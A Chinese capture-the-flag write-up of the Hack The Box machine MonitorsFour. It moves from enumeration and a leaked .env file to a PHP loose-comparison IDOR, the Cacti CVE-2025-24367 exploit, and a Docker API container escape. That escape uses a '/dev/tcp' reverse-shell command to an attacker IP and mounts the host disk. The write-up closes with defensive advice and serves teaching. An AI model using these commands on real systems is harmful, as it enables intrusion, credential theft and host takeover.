HTB靶场-MonitorsFour
字数 1576 2025-12-10 12:09:42
HTB靶场-MonitorsFour 渗透测试教学文档
信息收集阶段
1. 端口扫描与基础信息收集
使用Nmap对目标进行扫描,获取开放端口和服务信息:
nmap -A -O 10.10.11.98
扫描结果分析:
- 80/tcp:HTTP服务(nginx),重定向到http://monitorsfour.htb/
- 5985/tcp:Microsoft HTTPAPI httpd 2.0(SSDP/UPnP)
- 操作系统:疑似Windows Server 2022/2012/2016
- 网络距离:2跳
2. 子域名枚举
使用ffuf工具进行子域名爆破:
ffuf -t 400 -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
-u http://monitorsfour.htb \
-H "Host: FUZZ.monitorsfour.htb" -ac
发现子域名: cacti.monitorsfour.htb
3. 目录扫描
使用dirsearch进行目录枚举:
dirsearch -u http://monitorsfour.htb/ -x 404
重要发现:
- /.env:环境配置文件(泄露数据库凭据)
- /contact:联系页面
- /login:登录页面
- /user:用户信息接口
- /static、/views:静态资源目录
4. 敏感信息泄露
检查.env文件获取数据库配置:
curl http://monitorsfour.htb/.env
泄露的数据库信息:
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
API IDOR漏洞利用
1. Token参数测试
发现/user接口存在IDOR漏洞,通过token参数进行测试:
ffuf -c -u http://monitorsfour.htb/user?token=FUZZ -w php_loose_comparison.txt -fw 4
漏洞原理: PHP宽松比较(Loose Comparison)
- 当token=0或0e开头数字时,PHP会将其视为数值0
- 绕过身份验证获取用户信息
2. 获取用户数据
使用token=0e1234获取所有用户信息:
curl -s "http://monitorsfour.htb/user?token=0e1234" | jq
获取的关键用户信息:
- admin用户:密码MD5哈希为56b32eb43e6f15395f6c46c1c9e1cd36
- 解密后密码:wonderful1
- 其他用户:mwatson、janderson、dthompson等
3. 登录尝试
使用获取的凭据尝试登录:
- admin/wonderful1:登录失败
- marcus/wonderful1:登录成功(用户名为marcus)
Cacti漏洞利用(CVE-2025-24367)
1. 环境识别
登录cacti子域名:http://cacti.monitorsfour.htb
- 版本:Cacti 1.2.28
- 存在已知RCE漏洞
2. 漏洞利用
下载并执行漏洞利用脚本:
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
python exploit.py -u marcus -p wonderful1 -url http://cacti.monitorsfour.htb -i 10.10.16.54 -l 4444
参数说明:
- -u:用户名
- -p:密码
- -url:目标URL
- -i:攻击者IP
- -l:监听端口
后渗透阶段:Docker逃逸
1. 初始访问确认
获取反向shell后,检查当前环境:
cat /etc/hosts
ip a
ip route
环境信息:
- 容器IP:172.18.0.3
- 网关:172.18.0.1
- Docker网络:172.18.0.0/16
2. 网络侦察
检查DNS配置发现宿主机信息:
cat /etc/resolv.conf
- 宿主机IP:192.168.65.7
3. 端口扫描
使用fscan扫描宿主机开放端口:
./fscan -h 192.168.65.7 -p 1-65535
关键发现:
- 2375端口:Docker API未授权访问(CVE-2025-9074)
- 5555端口:开放服务
- 3128端口:代理服务
4. 网络隧道建立
使用ligolo建立隧道连接:
攻击机设置:
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
./agent -connect 10.10.16.54:11601 -ignore-cer
路由配置:
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 240.0.0.1/32 dev ligolo
sudo ip route add 192.168.65.7/32 dev ligolo
5. Docker API利用
步骤1:查看可用镜像
curl -s http://192.168.65.7:2375/images/json
步骤2:创建恶意容器配置文件
{
"Image": "docker_setup-nginx-php:latest",
"Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.16.54/8888 0>&1"],
"HostConfig": {
"Binds": ["/mnt/host/c:/host_root"]
}
}
步骤3:创建容器
curl -H 'Content-Type: application/json' -d @create_container.json \
"http://192.168.65.7:2375/containers/create" -o response.json
cid=$(grep -o '"Id":"[^"]*"' response.json | cut -d'"' -f4)
步骤4:启动容器获取root权限
curl -X POST "http://192.168.65.7:2375/containers/$cid/start"
技术要点总结
关键漏洞利用链
- 信息泄露(.env文件)→ 数据库凭据
- IDOR漏洞(PHP宽松比较)→ 用户数据获取
- 弱密码利用 → Cacti系统访问
- CVE-2025-24367 → 容器内RCE
- Docker API未授权 → 容器逃逸
防御建议
- 保护敏感配置文件(.env)
- 严格类型比较替代宽松比较
- 强密码策略实施
- 及时更新Cacti等第三方组件
- 限制Docker API访问权限
- 网络隔离和最小权限原则
本教学文档详细记录了从信息收集到最终权限提升的完整渗透测试流程,展示了现代Web应用安全中常见的漏洞链利用方式。